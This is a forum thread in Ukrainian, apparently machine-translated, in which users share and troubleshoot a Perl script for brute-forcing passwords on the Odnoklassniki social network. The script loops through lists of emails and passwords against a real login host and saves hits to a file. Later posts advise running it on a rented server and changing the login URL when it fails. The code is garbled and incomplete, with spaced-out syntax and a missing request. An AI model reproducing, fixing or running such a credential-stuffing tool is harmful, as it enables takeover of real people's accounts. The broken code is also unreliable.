Як ломануть однокласники Брут через перл

# 3 Dimchik_3D #! / Usr / bin / perl -w
use IO :: Socket;
use threads;
use threads :: shared;

$ Threads = shift || 5; # Кількість потоків
$ Pass = shift || 'Qwerty'; #pwd
$ Fname = 'good.txt'; # валідність
$ Ml = shift || 'Emails.txt'; # Список мив

my @acc. shared;
my $ i. shared;
my $ total. shared;
$ | = 1;

print "Loading. \ n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc ();

$ Size = scalar @acc;
$ Time = time;
$ Start = localtime;
print "Loaded:", $ size, "emails. \ n";
printf "Started at $ start \ n";

sub Brut
while (@acc)
<

my $ sock = new IO :: Socket :: INET
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) Or die "Can not connect \ n";

print $ sock $ re;
sysread ($ sock, my $ answ, 400);

$ Time = time- $ time;
$ End = localtime;
printf "Finished at $ end \ n";
printf "Time elapsed: $ time sec \ n";
printf "Found: $ total \ n";

print "|";
$ Percent = sprintf ( "%. 2f", $ percent);
print "<$percent%>\ R ";
print "\ r";
>

# 4 MyP3uk Цей блок налаштовуй під себе І цей. 17: 58: 260

# 5 Dimchik_3D $ ml = shift || 'Emails.txt'; # Список мив а звідки я можу знати мила того кого ламаю? І чи є у нього мило))
А тут що для чого?
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) Or die "Can not connect \ n"; 18: 01: 210

# 6 Red_Shuhov мурзик спасибі, а то впадлу писати

PS: список пасів і логінів поклади краще в корінь диска C
тобто рядки повинні стати такими: PSS: А як по твоєму він зарегился на однокашників без мила. 18: 03: 460

# 9 Dimchik_3D Red_Shuhov начебто вник тему)) зараз спробую себе ломануть 18: 08: 190

# 11 Dimchik_3D ну я без мила там сиджу, зазвичай з мобіли 18: 09: 460

# 12 Dimchik_3D чет не працює він, запускаю він маргнет і все 18: 13: 240

# 14 Dimchik_3D Теж не працює ((((мужик, можеш у себе запустити і норм зробити. 18: 16: 020

# 15 MyP3uk Facepalm. 18: 18: 050

# 16 Red_Shuhov я допоміг як зміг, хоча у мене все працює.

# 17 Dimchik_3D Спасибі і за це 18: 23: 200

# 18 MyP3uk А ти напевно не подумав, що у тебе інтерпретатора нету)))
І Краще ставити це все справа на Дедик, моя тобі порада. 18: 30: 320

# 19 Dimchik_3D MyP3uk по подробней можна. Я новенький, і не так то все добре це все розумію 18: 32: 420

# 20 Dimchik_3D Ні, не ламає. Завантаження пішла, пише 10.78% потім 23.63% і т.д. Але в good.txt нічого не з'являється. Свій пароль я вказав серед pass.txt і логін в emeils.txt 18: 46: 420

# 21 MyP3uk Ну і останній аргумент - скрипт міг застаріти, так як Соц. мережі регулярно апгрейдят систему захисту. 18: 58: 220

# 22 Dimchik_3D Ну а якщо замінити посилання входу? де логи і пароль пишуться 19: 39: 310